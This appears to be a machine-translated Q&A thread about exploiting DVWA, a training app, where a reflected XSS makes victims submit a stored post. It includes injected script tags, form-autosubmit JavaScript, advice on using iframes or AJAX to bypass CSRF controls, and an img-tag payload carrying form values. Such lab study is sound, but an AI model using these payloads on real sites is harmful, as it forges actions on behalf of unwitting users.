web-dev-qa-db-ja.com

被害者にXSS経由で投稿を送信させる方法は?

DVWAでは、通常のalert('XSS');シナリオとは異なる攻撃方法を理解しようとしています。

リフレクティブXSSを使用してペイロードを配信し、URLをたどるユーザーに同じWebアプリケーションの[保存されたXSS]セクションで投稿を送信させます。これが私の外部JSコードです

var pagech = document.getElementsByTagName('a')[11].click(); 
var name = document.getElementsByName("txtName")[0].value="helloworld"; 
var comment = document.getElementsByName("mtxMessage")[0].value="helloworld2";
var sub = document.getElementsByTagName('input')[1].click();

このコードは基本的に、ページを保存されたxssページに切り替え、いくつかの値を入力してフォームを送信します。これは、Firebugコンソール内で機能しますが、以下の反射型XSSの脆弱性を使用して実行すると機能しません。

<script src="http://172.16.150.172/dvwa/hackable/uploads/XSS.js"></script>

代わりに、ユーザーページは切り替わりますが、投稿は送信されません。可能であれば、どうすれば修正できますか?

3
user1949280

開発者コンソールで段階的に実行されるコード[!]とページの一部であるJavaScriptの間には大きな違いがあります。
すべての実行中JavaScriptは停止しますあなたがナビゲートする別のページへ

しかし、なぜユーザーを模倣するJavaScriptを作成する必要があるのでしょうか。

POSTリクエストを送信する場合(たとえば、ユーザーがフォームを送信するように見えるものを送信する場合)は、 [〜#〜] ajax [〜#〜] -POST-Requestを使用します。 this Stack Overflow Answer

2
DaniEll

POSTをWebサイト自体から送信する場合(CSRFコントロールを回避するため))、フォームが表示されている間にスクリプトを実行するための賢い方法を考える必要があります。

例えば:

  • XSSの脆弱なページにフォームのURLを含むIFrameを読み込み、Iframeのドキュメントオブジェクトを使用してIFrameに入力して送信します。
  • AJAXリクエストをフォームのURLに送信し、フォームパラメータをJavaScriptに読み込んでから、AJAX POST。

ペイロードでトップレベルのナビゲーションを引き起こすと、それ以上スクリプトが実行されなくなります。したがって、操作する他のサイトアイテムのコンテンツを格納するには、DOMまたはJavaScriptオブジェクトを使用する必要があります。

1
SilverlightFox

おそらく、HTTP GEtリクエストを使用してペイロードを注入できます。 imgタグを使用できます。

<img src="http://172.16.150.172/dvwa/payload?txtName=helloworld&mtxMessage=helloworld2" />

または、スクリプトを変更して動的に作成します。

<script>
var value1 = document.getElementById("txtName").value;
var value2 = document.getElementById("mtxMessage").valued;
document.createElement("img").src="http://172.16.150.172/dvwa/payload?txtName="+value1+"&mtxMessage="+value2;
</script>

この情報がお役に立てば幸いです。

幸運を。

0
hmrojas.p